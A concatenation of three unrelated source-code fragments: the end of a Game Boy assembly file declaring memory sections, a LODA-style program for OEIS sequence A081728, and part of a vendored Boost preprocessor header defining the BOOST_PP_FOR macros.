jr nz, .wait
ret
.end
SECTION "Global vars", HRAM
; 0 if CGB (including DMG mode and GBA), non-zero for other models
hConsoleType:: db
; Copy of the currently-loaded ROM bank, so the handlers can restore it
; Make sure to always write to it before writing to ROMB0
; (Mind that if using ROMB1, you will run into problems)
hCurROMBank:: db
SECTION "OAM DMA", HRAM
hOAMDMA::
ds OAMDMA.end - OAMDMA
SECTION UNION "Shadow OAM", WRAM0,ALIGN[8]
wShadowOAM::
ds NB_SPRITES * 4
SECTION "Stack", WRAM0
wStack:
ds STACK_SIZE
wStackBottom:
SECTION "Stored SP", WRAM0 ;used for popslides and the like
wStoredSP::
ds 2
|
; A081728: Length of periods of Euler numbers modulo prime(n).
; 1,2,2,6,10,6,8,18,22,14,30,18,20,42,46,26,58,30,66,70,36,78,82,44,48,50,102,106,54,56,126,130,68,138,74,150,78,162,166,86,178,90,190,96,98,198,210,222,226,114,116,238,120,250,128,262,134,270,138,140,282,146
seq $0,6005 ; The odd prime numbers together with 1.
sub $0,2
max $1,$0
mov $2,2
lpb $2
div $1,2
gcd $2,$1
lpe
add $1,1
mov $0,$1
|
# /* Copyright (C) 2001
# * Housemarque Oy
# * http://www.housemarque.com
# *
# * Distributed under the Boost Software License, Version 1.0. (See
# * accompanying file LICENSE_1_0.txt or copy at
# * http://www.boost.org/LICENSE_1_0.txt)
# */
#
# /* Revised by Paul Mensonides (2002) */
#
# /* See http://www.boost.org for most recent version. */
#
# ifndef BOOST_PREPROCESSOR_REPETITION_DETAIL_EDG_FOR_HPP
# define BOOST_PREPROCESSOR_REPETITION_DETAIL_EDG_FOR_HPP
#
# include <carve/external/boost/preprocessor/control/if.hpp>
# include <carve/external/boost/preprocessor/tuple/eat.hpp>
#
# define BOOST_PP_FOR_1(s, p, o, m) BOOST_PP_FOR_1_I(s, p, o, m)
# define BOOST_PP_FOR_2(s, p, o, m) BOOST_PP_FOR_2_I(s, p, o, m)
# define BOOST_PP_FOR_3(s, p, o, m) BOOST_PP_FOR_3_I(s, p, o, m)
# define BOOST_PP_FOR_4(s, p, o, m) BOOST_PP_FOR_4_I(s, p, o, m)
# define BOOST_PP_FOR_5(s, p, o, m) BOOST_PP_FOR_5_I(s, p, o, m)
# define BOOST_PP_FOR_6(s, p, o, m) BOOST_PP_FOR_6_I(s, p, o, m)
# define BOOST_PP_FOR_7(s, p, o, m) BOOST_PP_FOR_7_I(s, p, o, m)
# define BOOST_PP_FOR_8(s, p, o, m) BOOST_PP_FOR_8_I(s, p, o, m)
# define BOOST_PP_FOR_9(s, p, o, m) BOOST_PP_FOR_9_I(s, p, o, m)
# define BOOST_PP_FOR_10(s, p, o, m) BOOST_PP_FOR_10_I(s, p, o, m)
# define BOOST_PP_FOR_11(s, p, o, m) BOOST_PP_FOR_11_I(s, p, o, m)
# define BOOST_PP_FOR_12(s, p, o, m) BOOST_PP_FOR_12_I(s, p, o, m)
# define BOOST_PP_FOR_13(s, p, o, m) BOOST_PP_FOR_13_I(s, p, o, m)
# define BOOST_PP_FOR_14(s, p, o, m) BOOST_PP_FOR_14_I(s, p, o, m)
# define BOOST_PP_FOR_15(s, p, o, m) BOOST_PP_FOR_15_I(s, p, o, m)
# define BOOST_PP_FOR_16(s, p, o, m) BOOST_PP_FOR_16_I(s, p, o, m)
# define BOOST_PP_FOR_17(s, p, o, m) BOOST_PP_FOR_17_I(s, p, o, m)
# define BOOST_PP_FOR_18(s, p, o, m) BOOST_PP_FOR_18_I(s, p, o, m)
# define BOOST_PP_FOR_19(s, p, o, m) BOOST_PP_FOR_19_I(s, p, o, m)
# define BOOST_PP_FOR_20(s, p, o, m) BOOST_PP_FOR_20_I(s, p, o, m)
# define BOOST_PP_FOR_21(s, p, o, m) BOOST_PP_FOR_21_I(s, p, o, m)
# define BOOST_PP_FOR_22(s, p, o, m) BOOST_PP_FOR_22_I(s, p, o, m)
# define BOOST_PP_FOR_23(s, p, o, m) BOOST_PP_FOR_23_I(s, p, o, m)
# define BOOST_PP_FOR_24(s, p, o, m) BOOST_PP_FOR_24_I(s, p, o, m)
# define BOOST_PP_FOR_25(s, p, o, m) BOOST_PP_FOR_25_I(s, p, o, m)
# define BOOST_PP_FOR_26(s, p, o, m) BOOST_PP_FOR_26_I(s, p, o, m)
# define BOOST_PP_FOR_27(s, p, o, m) BOOST_PP_FOR_27_I(s, p, o, m)
# define BOOST_PP_FOR_28(s, p, o, m) BOOST_PP_FOR_28_I(s, p, o, m)
# define BOOST_PP_FOR_29(s, p, o, m) BOOST_PP_FOR_29_I(s, p, o, m)
# define BOOST_PP_FOR_30(s, p, o, m) BOOST_PP_FOR_30_I(s, p, o, m)
# define BOOST_PP_FOR_31(s, p, o, m) BOOST_PP_FOR_31_I(s, p, o, m)
# define BOOST_PP_FOR_32(s, p, o, m) BOOST_PP_FOR_32_I(s, p, o, m)
# define BOOST_PP_FOR_33(s, p, o, m) BOOST_PP_FOR_33_I(s, p, o, m)
# define BOOST_PP_FOR_34(s, p, o, m) BOOST_PP_FOR_34_I(s, p, o, m)
# define BOOST_PP_FOR_35(s, p, o, m) BOOST_PP_FOR_35_I(s, p, o, m)
# define BOOST_PP_FOR_36(s, p, o, m) BOOST_PP_FOR_36_I(s, p, o, m)
# define BOOST_PP_FOR_37(s, p, o, m) BOOST_PP_FOR_37_I(s, p, o, m)
# define BOOST_PP_FOR_38(s, p, o, m) BOOST_PP_FOR_38_I(s, p, o, m)
# define BOOST_PP_FOR_39(s, p, o, m) BOOST_PP_FOR_39_I(s, p, o, m)
# define BOOST_PP_FOR_40(s, p, o, m) BOOST_PP_FOR_40_I(s, p, o, m)
# define BOOST_PP_FOR_41(s, p, o, m) BOOST_PP_FOR_41_I(s, p, o, m)
# define BOOST_PP_FOR_42(s, p, o, m) BOOST_PP_FOR_42_I(s, p, o, m)
# define BOOST_PP_FOR_43(s, p, o, m) BOOST_PP_FOR_43_I(s, p, o, m)
# define BOOST_PP_FOR_44(s, p, o, m) BOOST_PP_FOR_44_I(s, p, o, m)
# define BOOST_PP_FOR_45(s, p, o, m) BOOST_PP_FOR_45_I(s, p, o, m)
# define BOOST_PP_FOR_46(s, p, o, m) BOOST_PP_FOR_46_I(s, p, o, m)
# define BOOST_PP_FOR_47(s, p, o, m) BOOST_PP_FOR_47_I(s, p, o, m)
# define BOOST_PP_FOR_48(s, p, o, m) BOOST_PP_FOR_48_I(s, p, o, m)
# define BOOST_PP_FOR_49(s, p, o, m) BOOST_PP_FOR_49_I(s, p, o, m)
# define BOOST_PP_FOR_50(s, p, o, m) BOOST_PP_FOR_50_I(s, p, o, m)
# define BOOST_PP_FOR_51(s, p, o, m) BOOST_PP_FOR_51_I(s, p, o, m)
# define BOOST_PP_FOR_52(s, p, o, m) BOOST_PP_FOR_52_I(s, p, o, m)
# define BOOST_PP_FOR_53(s, p, o, m) BOOST_PP_FOR_53_I(s, p, o, m)
# define BOOST_PP_FOR_54(s, p, o, m) BOOST_PP_FOR_54_I(s, p, o, m)
# define BOOST_PP_FOR_55(s, p, o, m) BOOST_PP_FOR_55_I(s, p, o, m)
# define BOOST_PP_FOR_56(s, p, o, m) BOOST_PP_FOR_56_I(s, p, o, m)
# define BOOST_PP_FOR_57(s, p, o, m) BOOST_PP_FOR_57_I(s, p, o, m)
# define BOOST_PP_FOR_58(s, p, o, m) BOOST_PP_FOR_58_I(s, p, o, m)
# define BOOST_PP_FOR_59(s, p, o, m) BOOST_PP_FOR_59_I(s, p, o, m)
# define BOOST_PP_FOR_60(s, p, o, m) BOOST_PP_FOR_60_I(s, p, o, m)
# define BOOST_PP_FOR_61(s, p, o, m) BOOST_PP_FOR_61_I(s, p, o, m)
# define BOOST_PP_FOR_62(s, p, o, m) BOOST_PP_FOR_62_I(s, p, o, m)
# define BOOST_PP_FOR_63(s, p, o, m) BOOST_PP_FOR_63_I(s, p, o, m)
# define BOOST_PP_FOR_64(s, p, o, m) BOOST_PP_FOR_64_I(s, p, o, m)
# define BOOST_PP_FOR_65(s, p, o, m) BOOST_PP_FOR_65_I(s, p, o, m)
# define BOOST_PP_FOR_66(s, p, o, m) BOOST_PP_FOR_66_I(s, p, o, m)
# define BOOST_PP_FOR_67(s, p, o, m) BOOST_PP_FOR_67_I(s, p, o, m)
# define BOOST_PP_FOR_68(s, p, o, m) BOOST_PP_FOR_68_I(s, p, o, m)
# define BOOST_PP_FOR_69(s, p, o, m) BOOST_PP_FOR_69_I(s, p, o, m)
# define BOOST_PP_FOR_70(s, p, o, m) BOOST_PP_FOR_70_I(s, p, o, m)
# define BOOST_PP_FOR_71(s, p, o, m) BOOST_PP_FOR_71_I(s, p, o, m)
# define BOOST_PP_FOR_72(s, p, o, m) BOOST_PP_FOR_72_I(s, p, o, m)
# define BOOST_PP_FOR_73(s, p, o, m) BOOST_PP_FOR_73_I(s, p, o, m)
# define BOOST_PP_FOR_74(s, p, o, m) BOOST_PP_FOR_74_I(s, p, o, m)
# define BOOST_PP_FOR_75(s, p, o, m) BOOST_PP_FOR_75_I(s, p, o, m)
# define BOOST_PP_FOR_76(s, p, o, m) BOOST_PP_FOR_76_I(s, p, o, m)
# define BOOST_PP_FOR_77(s, p, o, m) BOOST_PP_FOR_77_I(s, p, o, m)
# define BOOST_PP_FOR_78(s, p, o, m) BOOST_PP_FOR_78_I(s, p, o, m)
# define BOOST_PP_FOR_79(s, p, o, m) BOOST_PP_FOR_79_I(s, p, o, m)
# define BOOST_PP_FOR_80(s, p, o, m) BOOST_PP_FOR_80_I(s, p, o, m)
# define BOOST_PP_FOR_81(s, p, o, m) BOOST_PP_FOR_81_I(s, p, o, m)
# define BOOST_PP_FOR_82(s, p, o, m) BOOST_PP_FOR_82_I(s, p, o, m)
# define BOOST_PP_FOR_83(s, p, o, m) BOOST_PP_FOR_83_I(s, p, o, m)
# define BOOST_PP_FOR_84(s, p, o, m) BOOST_PP_FOR_84_I(s, p, o, m)
# define BOOST_PP_FOR_85(s, p, o, m) BOOST_PP_FOR_85_I(s, p, o, m)
# define BOOST_PP_FOR_86(s, p, o, m) BOOST_PP_FOR_86_I(s, p, o, m)
# define BOOST_PP_FOR_87(s, p, o, m) BOOST_PP_FOR_87_I(s, p, o, m)
# define BOOST_PP_FOR_88(s, p, o, m) BOOST_PP_FOR_88_I(s, p, o, m)
# define BOOST_PP_FOR_89(s, p, o, m) BOOST_PP_FOR_89_I(s, p, o, m)
# define BOOST_PP_FOR_90(s, p, o, m) BOOST_PP_FOR_90_I(s, p, o, m)
# define BOOST_PP_FOR_91(s, p, o, m) BOOST_PP_FOR_91_I(s, p, o, m)
# define BOOST_PP_FOR_92(s, p, o, m) BOOST_PP_FOR_92_I(s, p, o, m)
# define BOOST_PP_FOR_93(s, p, o, m) BOOST_PP_FOR_93_I(s, p, o, m)
# define BOOST_PP_FOR_94(s, p, o, m) BOOST_PP_FOR_94_I(s, p, o, m)
# define BOOST_PP_FOR_95(s, p, o, m) BOOST_PP_FOR_95_I(s, p, o, m)
# define BOOST_PP_FOR_96(s, p, o, m) BOOST_PP_FOR_96_I(s, p, o, m)
# define BOOST_PP_FOR_97(s, p, o, m) BOOST_PP_FOR_97_I(s, p, o, m)
# define BOOST_PP_FOR_98(s, p, o, m) BOOST_PP_FOR_98_I(s, p, o, m)
# define BOOST_PP_FOR_99(s, p, o, m) BOOST_PP_FOR_99_I(s, p, o, m)
# define BOOST_PP_FOR_100(s, p, o, m) BOOST_PP_FOR_100_I(s, p, o, m)
# define BOOST_PP_FOR_101(s, p, o, m) BOOST_PP_FOR_101_I(s, p, o, m)
# define BOOST_PP_FOR_102(s, p, o, m) BOOST_PP_FOR_102_I(s, p, o, m)
# define BOOST_PP_FOR_103(s, p, o, m) BOOST_PP_FOR_103_I(s, p, o, m)
# define BOOST_PP_FOR_104(s, p, o, m) BOOST_PP_FOR_104_I(s, p, o, m)
# define BOOST_PP_FOR_105(s, p, o, m) BOOST_PP_FOR_105_I(s, p, o, m)
# define BOOST_PP_FOR_106(s, p, o, m) BOOST_PP_FOR_106_I(s, p, o, m)
# define BOOST_PP_FOR_107(s, p, o, m) BOOST_PP_FOR_107_I(s, p, o, m)
# define BOOST_PP_FOR_108(s, p, o, m) BOOST_PP_FOR_108_I(s, p, o, m)
# define BOOST_PP_FOR_109(s, p, o, m) BOOST_PP_FOR_109_I(s, p, o, m)
# define BOOST_PP_FOR_110(s, p, o, m) BOOST_PP_FOR_110_I(s, p, o, m)
# define BOOST_PP_FOR_111(s, p, o, m) BOOST_PP_FOR_111_I(s, p, o, m)
# define BOOST_PP_FOR_112(s, p, o, m) BOOST_PP_FOR_112_I(s, p, o, m)
# define BOOST_PP_FOR_113(s, p, o, m) BOOST_PP_FOR_113_I(s, p, o, m)
# define BOOST_PP_FOR_114(s, p, o, m) BOOST_PP_FOR_114_I(s, p, o, m)
# define BOOST_PP_FOR_115(s, p, o, m) BOOST_PP_FOR_115_I(s, p, o, m)
# define BOOST_PP_FOR_116(s, p, o, m) BOOST_PP_FOR_116_I(s, p, o, m)
# define BOOST_PP_FOR_117(s, p, o, m) BOOST_PP_FOR_117_I(s, p, o, m)
# define BOOST_PP_FOR_118(s, p, o, m) BOOST_PP_FOR_118_I(s, p, o, m)
# define BOOST_PP_FOR_119(s, p, o, m) BOOST_PP_FOR_119_I(s, p, o, m)
# define BOOST_PP_FOR_120(s, p, o, m) BOOST_PP_FOR_120_I(s, p, o, m)
# define BOOST_PP_FOR_121(s, p, o, m) BOOST_PP_FOR_121_I(s, p, o, m)
# define BOOST_PP_FOR_122(s, p, o, m) BOOST_PP_FOR_122_I(s, p, o, m)
# define BOOST_PP_FOR_123(s, p, o, m) BOOST_PP_FOR_123_I(s, p, o, m)
# define BOOST_PP_FOR_124(s, p, o, m) BOOST_PP_FOR_124_I(s, p, o, m)
# define BOOST_PP_FOR_125(s, p, o, m) BOOST_PP_FOR_125_I(s, p, o, m)
# define BOOST_PP_FOR_126(s, p, o, m) BOOST_PP_FOR_126_I(s, p, o, m)
# define BOOST_PP_FOR_127(s, p, o, m) BOOST_PP_FOR_127_I(s, p, o, m)
# define BOOST_PP_FOR_128(s, p, o, m) BOOST_PP_FOR_128_I(s, p, o, m)
# define BOOST_PP_FOR_129(s, p, o, m) BOOST_PP_FOR_129_I(s, p, o, m)
# define BOOST_PP_FOR_130(s, p, o, m) BOOST_PP_FOR_130_I(s, p, o, m)
# define BOOST_PP_FOR_131(s, p, o, m) BOOST_PP_FOR_131_I(s, p, o, m)
# define BOOST_PP_FOR_132(s, p, o, m) BOOST_PP_FOR_132_I(s, p, o, m)
# define BOOST_PP_FOR_133(s, p, o, m) BOOST_PP_FOR_133_I(s, p, o, m)
# define BOOST_PP_FOR_134(s, p, o, m) BOOST_PP_FOR_134_I(s, p, o, m)
# define BOOST_PP_FOR_135(s, p, o, m) BOOST_PP_FOR_135_I(s, p, o, m)
# define BOOST_PP_FOR_136(s, p, o, m) BOOST_PP_FOR_136_I(s, p, o, m)
# define BOOST_PP_FOR_137(s, p, o, m) BOOST_PP_FOR_137_I(s, p, o, m)
# define BOOST_PP_FOR_138(s, p, o, m) BOOST_PP_FOR_138_I(s, p, o, m)
# define BOOST_PP_FOR_139(s, p, o, m) BOOST_PP_FOR_139_I(s, p, o, m)
# define BOOST_PP_FOR_140(s, p, o, m) BOOST_PP_FOR_140_I(s, p, o, m)
# define BOOST_PP_FOR_141(s, p, o, m) BOOST_PP_FOR_141_I(s, p, o, m)
# define BOOST_PP_FOR_142(s, p, o, m) BOOST_PP_FOR_142_I(s, p, o, m)
# define BOOST_PP_FOR_143(s, p, o, m) BOOST_PP_FOR_143_I(s, p, o, m)
# define BOOST_PP_FOR_144(s, p, o, m) BOOST_PP_FOR_144_I(s, p, o, m)
# define BOOST_PP_FOR_145(s, p, o, m) BOOST_PP_FOR_145_I(s, p, o, m)
# define BOOST_PP_FOR_146(s, p, o, m) BOOST_PP_FOR_146_I(s, p, o, m)
# define BOOST_PP_FOR_147(s, p, o, m) BOOST_PP_FOR_147_I(s, p, o, m)
# define BOOST_PP_FOR_148(s, p, o, m) BOOST_PP_FOR_148_I(s, p, o, m)
# define BOOST_PP_FOR_149(s, p, o, m) BOOST_PP_FOR_149_I(s, p, o, m)
# define BOOST_PP_FOR_150(s, p, o, m) BOOST_PP_FOR_150_I(s, p, o, m)
# define BOOST_PP_FOR_151(s, p, o, m) BOOST_PP_FOR_151_I(s, p, o, m)
# define BOOST_PP_FOR_152(s, p, o, m) BOOST_PP_FOR_152_I(s, p, o, m)
# define BOOST_PP_FOR_153(s, p, o, m) BOOST_PP_FOR_153_I(s, p, o, m)
# define BOOST_PP_FOR_154(s, p, o, m) BOOST_PP_FOR_154_I(s, p, o, m)
# define BOOST_PP_FOR_155(s, p, o, m) BOOST_PP_FOR_155_I(s, p, o, m)
# define BOOST_PP_FOR_156(s, p, o, m) BOOST_PP_FOR_156_I(s, p, o, m)
# define BOOST_PP_FOR_157(s, p, o, m) BOOST_PP_FOR_157_I(s, p, o, m)
# define BOOST_PP_FOR_158(s, p, o, m) BOOST_PP_FOR_158_I(s, p, o, m)
# define BOOST_PP_FOR_159(s, p, o, m) BOOST_PP_FOR_159_I(s, p, o, m)
# define BOOST_PP_FOR_160(s, p, o, m) BOOST_PP_FOR_160_I(s, p, o, m)
# define BOOST_PP_FOR_161(s, p, o, m) BOOST_PP_FOR_161_I(s, p, o, m)
# define BOOST_PP_FOR_162(s, p, o, m) BOOST_PP_FOR_162_I(s, p, o, m)
# define BOOST_PP_FOR_163(s, p, o, m) BOOST_PP_FOR_163_I(s, p, o, m)
# define BOOST_PP_FOR_164(s, p, o, m) BOOST_PP_FOR_164_I(s, p, o, m)
# define BOOST_PP_FOR_165(s, p, o, m) BOOST_PP_FOR_165_I(s, p, o, m)
# define BOOST_PP_FOR_166(s, p, o, m) BOOST_PP_FOR_166_I(s, p, o, m)
# define BOOST_PP_FOR_167(s, p, o, m) BOOST_PP_FOR_167_I(s, p, o, m)
# define BOOST_PP_FOR_168(s, p, o, m) BOOST_PP_FOR_168_I(s, p, o, m)
# define BOOST_PP_FOR_169(s, p, o, m) BOOST_PP_FOR_169_I(s, p, o, m)
# define BOOST_PP_FOR_170(s, p, o, m) BOOST_PP_FOR_170_I(s, p, o, m)
# define BOOST_PP_FOR_171(s, p, o, m) BOOST_PP_FOR_171_I(s, p, o, m)
# define BOOST_PP_FOR_172(s, p, o, m) BOOST_PP_FOR_172_I(s, p, o, m)
# define BOOST_PP_FOR_173(s, p, o, m) BOOST_PP_FOR_173_I(s, p, o, m)
# define BOOST_PP_FOR_174(s, p, o, m) BOOST_PP_FOR_174_I(s, p, o, m)
# define BOOST_PP_FOR_175(s, p, o, m) BOOST_PP_FOR_175_I(s, p, o, m)
# define BOOST_PP_FOR_176(s, p, o, m) BOOST_PP_FOR_176_I(s, p, o, m)
# define BOOST_PP_FOR_177(s, p, o, m) BOOST_PP_FOR_177_I(s, p, o, m)
# define BOOST_PP_FOR_178(s, p, o, m) BOOST_PP_FOR_178_I(s, p, o, m)
# define BOOST_PP_FOR_179(s, p, o, m) BOOST_PP_FOR_179_I(s, p, o, m)
# define BOOST_PP_FOR_180(s, p, o, m) BOOST_PP_FOR_180_I(s, p, o, m)
# define BOOST_PP_FOR_181(s, p, o, m) BOOST_PP_FOR_181_I(s, p, o, m)
# define BOOST_PP_FOR_182(s, p, o, m) BOOST_PP_FOR_182_I(s, p, o, m)
# define BOOST_PP_FOR_183(s, p, o, m) BOOST_PP_FOR_183_I(s, p, o, m)
# define BOOST_PP_FOR_184(s, p, o, m) BOOST_PP_FOR_184_I(s, p, o, m)
# define BOOST_PP_FOR_185(s, p, o, m) BOOST_PP_FOR_185_I(s, p, o, m)
# define BOOST_PP_FOR_186(s, p, o, m) BOOST_PP_FOR_186_I(s, p, o, m)
# define BOOST_PP_FOR_187(s, p, o, m) BOOST_PP_FOR_187_I(s, p, o, m)
# define BOOST_PP_FOR_188(s, p, o, m) BOOST_PP_FOR_188_I(s, p, o, m)
# define BOOST_PP_FOR_189(s, p, o, m) BOOST_PP_FOR_189_I(s, p, o, m)
# define BOOST_PP_FOR_190(s, p, o, m) BOOST_PP_FOR_190_I(s, p, o, m)
# define BOOST_PP_FOR_191(s, p, o, m) BOOST_PP_FOR_191_I(s, p, o, m)
# define BOOST_PP_FOR_192(s, p, o, m) BOOST_PP_FOR_192_I(s, p, o, m)
# define BOOST_PP_FOR_193(s, p, o, m) BOOST_PP_FOR_193_I(s, p, o, m)
# define BOOST_PP_FOR_194(s, p, o, m) BOOST_PP_FOR_194_I(s, p, o, m)
# define BOOST_PP_FOR_195(s, p, o, m) BOOST_PP_FOR_195_I(s, p, o, m)
# define BOOST_PP_FOR_196(s, p, o, m) BOOST_PP_FOR_196_I(s, p, o, m)
# define BOOST_PP_FOR_197(s, p, o, m) BOOST_PP_FOR_197_I(s, p, o, m)
# define BOOST_PP_FOR_198(s, p, o, m) BOOST_PP_FOR_198_I(s, p, o, m)
# define BOOST_PP_FOR_199(s, p, o, m) BOOST_PP_FOR_199_I(s, p, o, m)
# define BOOST_PP_FOR_200(s, p, o, m) BOOST_PP_FOR_200_I(s, p, o, m)
# define BOOST_PP_FOR_201(s, p, o, m) BOOST_PP_FOR_201_I(s, p, o, m)
# define BOOST_PP_FOR_202(s, p, o, m) BOOST_PP_FOR_202_I(s, p, o, m)
# define BOOST_PP_FOR_203(s, p, o, m) BOOST_PP_FOR_203_I(s, p, o, m)
# define BOOST_PP_FOR_204(s, p, o, m) BOOST_PP_FOR_204_I(s, p, o, m)
# define BOOST_PP_FOR_205(s, p, o, m) BOOST_PP_FOR_205_I(s, p, o, m)
# define BOOST_PP_FOR_206(s, p, o, m) BOOST_PP_FOR_206_I(s, p, o, m)
# define BOOST_PP_FOR_207(s, p, o, m) BOOST_PP_FOR_207_I(s, p, o, m)
# define BOOST_PP_FOR_208(s, p, o, m) BOOST_PP_FOR_208_I(s, p, o, m)
# define BOOST_PP_FOR_209(s, p, o, m) BOOST_PP_FOR_209_I(s, p, o, m)
# define BOOST_PP_FOR_210(s, p, o, m) BOOST_PP_FOR_210_I(s, p, o, m)
# define BOOST_PP_FOR_211(s, p, o, m) BOOST_PP_FOR_211_I(s, p, o, m)
# define BOOST_PP_FOR_212(s, p, o, m) BOOST_PP_FOR_212_I(s, p, o, m)
# define BOOST_PP_FOR_213(s, p, o, m) BOOST_PP_FOR_213_I(s, p, o, m)
# define BOOST_PP_FOR_214(s, p, o, m) BOOST_PP_FOR_214_I(s, p, o, m)
# define BOOST_PP_FOR_215(s, p, o, m) BOOST_PP_FOR_215_I(s, p, o, m)
# define BOOST_PP_FOR_216(s, p, o, m) BOOST_PP_FOR_216_I(s, p, o, m)
# define BOOST_PP_FOR_217(s, p, o, m) BOOST_PP_FOR_217_I(s, p, o, m)
# define BOOST_PP_FOR_218(s, p, o, m) BOOST_PP_FOR_218_I(s, p, o, m)
# define BOOST_PP_FOR_219(s, p, o, m) BOOST_PP_FOR_219_I(s, p, o, m)
# define BOOST_PP_FOR_220(s, p, o, m) BOOST_PP_FOR_220_I(s, p, o, m)
# define BOOST_PP_FOR_221(s, p, o, m) BOOST_PP_FOR_221_I(s, p, o, m)
# define BOOST_PP_FOR_222(s, p, o, m) BOOST_PP_FOR_222_I(s, p, o, m)
# define BOOST_PP_FOR_223(s, p, o, m) BOOST_PP_FOR_223_I(s, p, o, m)
# define BOOST_PP_FOR_224(s, p, o, m) BOOST_PP_FOR_224_I(s, p, o, m)
# define BOOST_PP_FOR_225(s, p, o, m) BOOST_PP_FOR_225_I(s, p, o, m)
# define BOOST_PP_FOR_226(s, p, o, m) BOOST_PP_FOR_226_I(s, p, o, m)
# define BOOST_PP_FOR_227(s, p, o, m) BOOST_PP_FOR_227_I(s, p, o, m)
# define BOOST_PP_FOR_228(s, p, o, m) BOOST_PP_FOR_228_I(s, p, o, m)
# define BOOST_PP_FOR_229(s, p, o, m) BOOST_PP_FOR_229_I(s, p, o, m)
# define BOOST_PP_FOR_230(s, p, o, m) BOOST_PP_FOR_230_I(s, p, o, m)
# define BOOST_PP_FOR_231(s, p, o, m) BOOST_PP_FOR_231_I(s, p, o, m)
# define BOOST_PP_FOR_232(s, p, o, m) BOOST_PP_FOR_232_I(s, p, o, m)
# define BOOST_PP_FOR_233(s, p, o, m) BOOST_PP_FOR_233_I(s, p, o, m)
# define BOOST_PP_FOR_234(s, p, o, m) BOOST_PP_FOR_234_I(s, p, o, m)
# define BOOST_PP_FOR_235(s, p, o, m) BOOST_PP_FOR_235_I(s, p, o, m)
# define BOOST_PP_FOR_236(s, p, o, m) BOOST_PP_FOR_236_I(s, p, o, m)
# define BOOST_PP_FOR_237(s, p, o, m) BOOST_PP_FOR_237_I(s, p, o, m)
# define BOOST_PP_FOR_238(s, p, o, m) BOOST_PP_FOR_238_I(s, p, o, m)
# define BOOST_PP_FOR_239(s, p, o, m) BOOST_PP_FOR_239_I(s, p, o, m)
# define BOOST_PP_FOR_240(s, p, o, m) BOOST_PP_FOR_240_I(s, p, o, m)
# define BOOST_PP_FOR_241(s, p, o, m) BOOST_PP_FOR_241_I(s, p, o, m)
# define BOOST_PP_FOR_242(s, p, o, m) BOOST_PP_FOR_242_I(s, p, o, m)
# define BOOST_PP_FOR_243(s, p, o, m) BOOST_PP_FOR_243_I(s, p, o, m)
# define BOOST_PP_FOR_244(s, p, o, m) BOOST_PP_FOR_244_I(s, p, o, m)
# define BOOST_PP_FOR_245(s, p, o, m) BOOST_PP_FOR_245_I(s, p, o, m)
# define BOOST_PP_FOR_246(s, p, o, m) BOOST_PP_FOR_246_I(s, p, o, m)
# define BOOST_PP_FOR_247(s, p, o, m) BOOST_PP_FOR_247_I(s, p, o, m)
# define BOOST_PP_FOR_248(s, p, o, m) BOOST_PP_FOR_248_I(s, p, o, m)
# define BOOST_PP_FOR_249(s, p, o, m) BOOST_PP_FOR_249_I(s, p, o, m)
# define BOOST_PP_FOR_250(s, p, o, m) BOOST_PP_FOR_250_I(s, p, o, m)
# define BOOST_PP_FOR_251(s, p, o, m) BOOST_PP_FOR_251_I(s, p, o, m)
# define BOOST_PP_FOR_252(s, p, o, m) BOOST_PP_FOR_252_I(s, p, o, m)
# define BOOST_PP_FOR_253(s, p, o, m) BOOST_PP_FOR_253_I(s, p, o, m)
# define BOOST_PP_FOR_254(s, p, o, m) BOOST_PP_FOR_254_I(s, p, o, m)
# define BOOST_PP_FOR_255(s, p, o, m) BOOST_PP_FOR_255_I(s, p, o, m)
# define BOOST_PP_FOR_256(s, p, o, m) BOOST_PP_FOR_256_I(s, p, o, m)
#
# define BOOST_PP_FOR_1_I(s, p, o, m) BOOST_PP_IF(p(2, s), m, BOOST_PP_TUPLE_EAT_2)(2, s) BOOST_PP_IF(p(2, s), BOOST_PP_FOR_2, BOOST_PP_TUPLE_EAT_4)(o(2, s), p, o, m)
# define BOOST_PP_FOR_2_I(s, p, o, m) BOOST_PP_IF(p(3, s), m, BOOST_PP_TUPLE_EAT_2)(3, s) BOOST_PP_IF(p(3, s), BOOST_PP_FOR_3, BOOST_PP_TUPLE_EAT_4)(o(3, s), p, o, m)
# define BOOST_PP_FOR_3_I(s, p, o, m) BOOST_PP_IF(p(4, s), m, BOOST_PP_TUPLE_EAT_2)(4, s) BOOST_PP_IF(p(4, s), BOOST_PP_FOR_4, BOOST_PP_TUPLE_EAT_4)(o(4, s), p, o, m)
# define BOOST_PP_FOR_4_I(s, p, o, m) BOOST_PP_IF(p(5, s), m, BOOST_PP_TUPLE_EAT_2)(5, s) BOOST_PP_IF(p(5, s), BOOST_PP_FOR_5, BOOST_PP_TUPLE_EAT_4)(o(5, s), p, o, m)
# define BOOST_PP_FOR_5_I(s, p, o, m) BOOST_PP_IF(p(6, s), m, BOOST_PP_TUPLE_EAT_2)(6, s) BOOST_PP_IF(p(6, s), BOOST_PP_FOR_6, BOOST_PP_TUPLE_EAT_4)(o(6, s), p, o, m)
# define BOOST_PP_FOR_6_I(s, p, o, m) BOOST_PP_IF(p(7, s), m, BOOST_PP_TUPLE_EAT_2)(7, s) BOOST_PP_IF(p(7, s), BOOST_PP_FOR_7, BOOST_PP_TUPLE_EAT_4)(o(7, s), p, o, m)
# define BOOST_PP_FOR_7_I(s, p, o, m) BOOST_PP_IF(p(8, s), m, BOOST_PP_TUPLE_EAT_2)(8, s) BOOST_PP_IF(p(8, s), BOOST_PP_FOR_8, BOOST_PP_TUPLE_EAT_4)(o(8, s), p, o, m)
# define BOOST_PP_FOR_8_I(s, p, o, m) BOOST_PP_IF(p(9, s), m, BOOST_PP_TUPLE_EAT_2)(9, s) BOOST_PP_IF(p(9, s), BOOST_PP_FOR_9, BOOST_PP_TUPLE_EAT_4)(o(9, s), p, o, m)
# define BOOST_PP_FOR_9_I(s, p, o, m) BOOST_PP_IF(p(10, s), m, BOOST_PP_TUPLE_EAT_2)(10, s) BOOST_PP_IF(p(10, s), BOOST_PP_FOR_10, BOOST_PP_TUPLE_EAT_4)(o(10, s), p, o, m)
# define BOOST_PP_FOR_10_I(s, p, o, m) BOOST_PP_IF(p(11, s), m, BOOST_PP_TUPLE_EAT_2)(11, s) BOOST_PP_IF(p(11, s), BOOST_PP_FOR_11, BOOST_PP_TUPLE_EAT_4)(o(11, s), p, o, m)
# define BOOST_PP_FOR_11_I(s, p, o, m) BOOST_PP_IF(p(12, s), m, BOOST_PP_TUPLE_EAT_2)(12, s) BOOST_PP_IF(p(12, s), BOOST_PP_FOR_12, BOOST_PP_TUPLE_EAT_4)(o(12, s), p, o, m)
